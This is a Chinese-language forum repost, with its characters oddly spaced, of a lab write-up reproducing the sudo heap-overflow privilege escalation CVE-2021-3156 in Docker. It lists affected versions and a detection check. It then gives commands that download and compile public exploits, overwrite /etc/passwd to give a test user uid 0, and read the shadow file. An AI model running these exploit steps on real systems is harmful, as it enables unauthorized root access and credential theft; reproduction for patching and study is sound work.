搜索

[20543] 2021-03-11_CVE-2021-3156-sudo缓冲区溢出复现

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-03-11_CVE-2021-3156-sudo缓冲区溢出复现 C V E - 2 0 2 1 - 3 1 5 6 - s u d o 缓 冲 区 溢 出 复 现 K h a n 安 全 攻 防 实 验 室   2 0 2 1 - 0 3 - 1 1 以 下 文 章 来 源 于 谦 安   T e a m   ， 作 者 雨 九 九 1 .   漏 洞 简 介 漏 洞 简 介 1 月 2 6 日 ， S u d o 发 布 安 全 通 告 ， 修 复 了 一 个 类 U n i x 操 作 系 统 在 命 令 参 数 中 转 义 反 斜 杠 时 存 在 基 于 堆 的 缓 冲 区 溢 出 漏 洞 。 当 s u d o 通 过   - s   或   - i   命 令 行 选 项 在 s h e l l 模 式 下 运 行 命 令 时 ， 它 将 在 命 令 参 数 中 使 用 反 斜 杠 转 义 特 殊 字 符 。 但 使 用   - s   或   - i   标 志 运 行   s u d o e d i t   时 ， 实 际 上 并 未 进 行 转 义 ， 从 而 可 能 导 致 缓 冲 区 溢 出 。 因 此 只 要 存 在 s u d o e r s 文 件 （ 通 常 是   / e t c / s u d o e r s ） ， 攻 击 者 就 可 以 使 用 本 地 普 通 用 户 利 用 s u d o 获 得 系 统 r o o t 权 限 。 目 前 漏 洞 细 节 已 公 开 ， 请 受 影 响 的 用 户 尽 快 采 取 措 施 进 行 防 护 。 2 .   影 响 范 围 影 响 范 围 S u d o   1 . 8 . 2   -   1 . 8 . 3 1 p 2 S u d o   1 . 9 . 0   -   1 . 9 . 5 p 1 不 受 影 响 版 本 ： s u d o   = > 1 . 9 . 5 p 2 3 .   检 测 方 法 检 测 方 法 非 r o o t 执 行 若 返 回 以 “   s u d o e d i t ： ” 开 头 的 错 误 ， 则 当 前 系 统 可 能 存 在 安 全 风 险 。 不 受 影 响 的 系 统 将 显 示 以 “   u s a g e ： ” 开 头 的 错 误 4 .   利 用 复 现 利 用 复 现 4 . 0   测 试 环 境 搭 建 测 试 环 境 搭 建   d o c k e r - u b u n t u . 2 0 . 4 + s u d o - 1 . 8 . 3 1 d o c k e r 拉 环 境 s u d o 版 本 谦 安 谦 安   T e a m   . 谦 虚 学 安 全 ， 专 注 于 研 究 渗 透 测 试 、 红 蓝 对 抗 、 内 网 安 全 、 二 进 制 安 全 技 术   ， 欢 迎 大 家 来 投 稿 ， 互 相 交 流 ， 营 造 良 好 的 安 全 社 区 s u d o e d i t   - s   / d o c k e r   p u l l   m a n i s h f o o d t e c h s / x f c e f u l l d e s k t o p _ u b u n t u 2 0 . 4 d o c k e r   r u n   - i t   m a n i s h f o o d t e c h s / x f c e f u l l d e s k t o p _ u b u n t u 2 0 . 4   / b i n / b a s h s u d o   - - v e r s i o n
系 统 版 本 新 建 t e s t 测 试 用 户 4 . 1   s t o n g 的 的 e x p h t t p s : / / g i t h u b . c o m / s t o n g / C V E - 2 0 2 1 - 3 1 5 6 宿 主 机 下 p o c ， p y t h o n 起 h t t p 服 务 分 享 给 测 试 环 境 d o c k e r 内 下 载 宿 主 机 分 享 的 把 k a n p a s s w d 中 的 t e s t 用 户 i d 和 组 i d 换 为 0 l s b _ r e l e a s e   - a u s e r a d d   t e s t p a s s w d   t e s t s u   t e s t c d   / t m p g i t   c l o n e   h t t p s : / / g i t h u b . c o m / s t o n g / C V E - 2 0 2 1 - 3 1 5 6 . g i t p y t h o n 3   - m   h t t p . s e r v e r   8 0 e x p l o i t . c w g e t   h t t p : / / 1 9 2 . 1 6 8 . 1 4 6 . 2 3 1 / e x p l o i t . c g c c   . / e x p l o i t . c c p   / e t c / p a s s w d   k a n p a s s w d v i m   k a n p a s s w d . / a . o u t   / e t c / p a s s w d   k a n p a s s w d
在 重 新 看 p a s s w d ， 已 经 被 修 改 了 需 要 s u 再 重 新 切 换 至 t e s t ， 此 时 i d 显 示 已 提 权 ， 有 权 限 看 s h a d o w 4 . 2   h a x x . i n 的 的 e x p c a t   / e t c / p a s s w d s u   t e s t
h t t p s : / / h a x x . i n / C V E - 2 0 2 1 - 3 1 5 6 _ n s s _ p o c _ u b u n t u . t a r . g z 5 .   参 考 参 考 s u   t e s t c d   / t m p w g e t   h t t p s : / / h a x x . i n / C V E - 2 0 2 1 - 3 1 5 6 _ n s s _ p o c _ u b u n t u . t a r . g z t a r   x v f   C V E - 2 0 2 1 - 3 1 5 6 _ n s s _ p o c _ u b u n t u . t a r . g z c d   C V E - 2 0 2 1 - 3 1 5 6 m a k e . / s u d o - h a x - m e - a - s a n d w i c h i d . / s u d o - h a x - m e - a - s a n d w i c h   0
h t t p s : / / m p . w e i x i n . q q . c o m / s / x 9 Q 4 x s o E G s K 1 K v _ 1 A b H x a Q h t t p s : / / x i e 1 9 9 7 . b l o g . c s d n . n e t / a r t i c l e / d e t a i l s / 1 1 3 2 6 8 3 7 4 h t t p s : / / m p . w e i x i n . q q . c o m / s / I z m W Z o j d k o r K c 5 q G u 0 1 J c w
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理